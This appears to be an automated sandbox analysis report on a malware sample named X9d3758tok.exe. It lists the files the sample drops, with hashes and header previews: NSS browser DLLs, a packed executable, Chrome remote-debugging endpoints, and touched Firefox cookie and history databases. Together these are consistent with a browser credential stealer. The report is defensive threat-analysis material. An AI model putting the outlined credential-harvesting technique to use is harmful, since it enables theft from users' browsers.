SHA-512:	5E4BB14E32A0B806DBC691D38D865ADDB99544F2C73B1E0C3D26A069C7B497DC79CE2FD222A63BD812E3A63D1430FD22C096F9CAF0E2A0372707F805F962BBF6
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\chrome.dll

Download File

Process:	C:\Users\user\Desktop\X9d3758tok.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692736
Entropy (8bit):	6.304379785339226
Encrypted:	false
SSDEEP:	12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5:	EDA18948A989176F4EEBB175CE806255
SHA1:	FF22A3D5F5FB705137F233C36622C79EAB995897
SHA-256:	81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
SHA-512:	160ED9990C37A4753FC0F5111C94414568654AFBEDC05308308197DF2A99594F2D5D8FE511FD2279543A869ED20248E603D88A0B9B8FB119E8E6131B0C52FF85
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: KMfWqiiMu0.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: hwWxZRwpeL.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: KTvTgKJSyw.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: W9f3Fx6sL4.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s,.>7M.m7M.m7M.m\|5.l<M.m\|5.l.M.m\|5.l#M.m'..l"M.m'..l'M.m'..l.M.m\|5.l:M.m7M.m.M.m7M.mlM.m...l6M.m...l6M.mRich7M.m........................PE..L......g.........."!...)............P.....................................................@..........................\..l...<].................................. 8...(..T....................(......@'..@............................................text............................... ..`.rdata..zV.......X..................@..@.data...T....p.......N..............@....reloc.. 8.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\X9d3758tok.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\X9d3758tok.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\X9d3758tok.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\X9d3758tok.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\X9d3758tok.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\X9d3758tok.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\chrome_93[1].exe

Download File

Process:	C:\Users\user\Desktop\X9d3758tok.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	8582552
Entropy (8bit):	7.927067341331451
Encrypted:	false
SSDEEP:	196608:uEEVzloWL4sYCK0to58wBO537vWoWRQwcQIMatadu1bEnulj3rOeL8:MloWL4zCjth37v/t6u18Cj3qe
MD5:	880C9E3235130A6AAAA3EC25BE18BDB4
SHA1:	E68F23FC85D390623BA8763AFC8AF22424153D74
SHA-256:	5D3AF8278F2832D439F72B85639B35C99CC50436DFF6FC051456C9FA5443D155
SHA-512:	8473C46B4C1F7278E3D50CE40EBE25E064F0EAE81A9BF31399A3DFEAE05DFEDF1885E379C0303831C3226D24E66F59CD76590E2713003C86C93E979E01D70B75
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d..... g.........."...........l................@.............................0............`.................................................B0n.d....Pn.H................... ..............................(@n.(................................................... .........n.................. ..` .*... ..1....t..............@..@ p.l..P...Q.................@... ......m......<R.............@..@ ......m......>R.............@..@ ......n......@R.............@... P.....n.n....BR.............@..@ x.... n.i....DR.............@..B.imports.....0n......FR.............@....tls.........@n......HR..................rsrc........Pn......JR.............@..@.themida.`T..`n......NR.............`....boot....^0......^0..NR.............`..`.reloc....... .........................@........................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\X9d3758tok.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\X9d3758tok.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\X9d3758tok.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\X9d3758tok.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\X9d3758tok.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\X9d3758tok.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\json[1].json

Download File

Process:	C:\Users\user\Desktop\X9d3758tok.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.368822166412091
Encrypted:	false
SSDEEP:	48:SfNaoQZTEQXfNaoQ0QffNaoQBQdfNaoQoXi0UrU0U8Q/:6NnQZTEQPNnQ0Q3NnQBQJNnQ70UrU0UH
MD5:	D7F81CFD031B3CA9376F3EDE350B4287
SHA1:	C6DDE03C36E4E74F4BD544A421E8DCDAA2EC7953
SHA-256:	0C9B0F8D302E6BACC9A06ED97A300A39981D04138363DCCA8C16055E06609DFD
SHA-512:	B738FF7F21A4319D1B3DAFAD986D9185ADCB01E56C15F30C2A37F267D7E6657BC147DA2BC9C84E798DB58F747BF643AD50FFA348D6D6C41947B0028124DD1ED3
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/7BC7D678A6ED4C25D899A6A93D33E8B7",.. "id": "7BC7D678A6ED4C25D899A6A93D33E8B7",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/7BC7D678A6ED4C25D899A6A93D33E8B7"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/8923277CB559F95D82FC0D19895D05D0",.. "id": "8923277CB559F95D82FC0D19895D05D0",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/8923277CB559F95D82FC0D19895D05D0"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul/nq/llh:NllUyt
MD5:	AB80AD9A08E5B16132325DF5584B2CBE
SHA1:	F7411B7A5826EE6B139EBF40A7BEE999320EF923
SHA-256:	5FBE5D71CECADD2A3D66721019E68DD78C755AA39991A629AE81C77B531733A4
SHA-512:	9DE2FB33C0EA36E1E174850AD894659D6B842CD624C1A543B2D391C8EBC74719F47FA88D0C4493EA820611260364C979C9CDF16AF1C517132332423CA0CB7654
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0aj2w0z4.lbt.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3fhc2j4o.ruj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ezisbe4z.qu5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kqfuyngo.aub.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\X9d3758tok.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\X9d3758tok.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
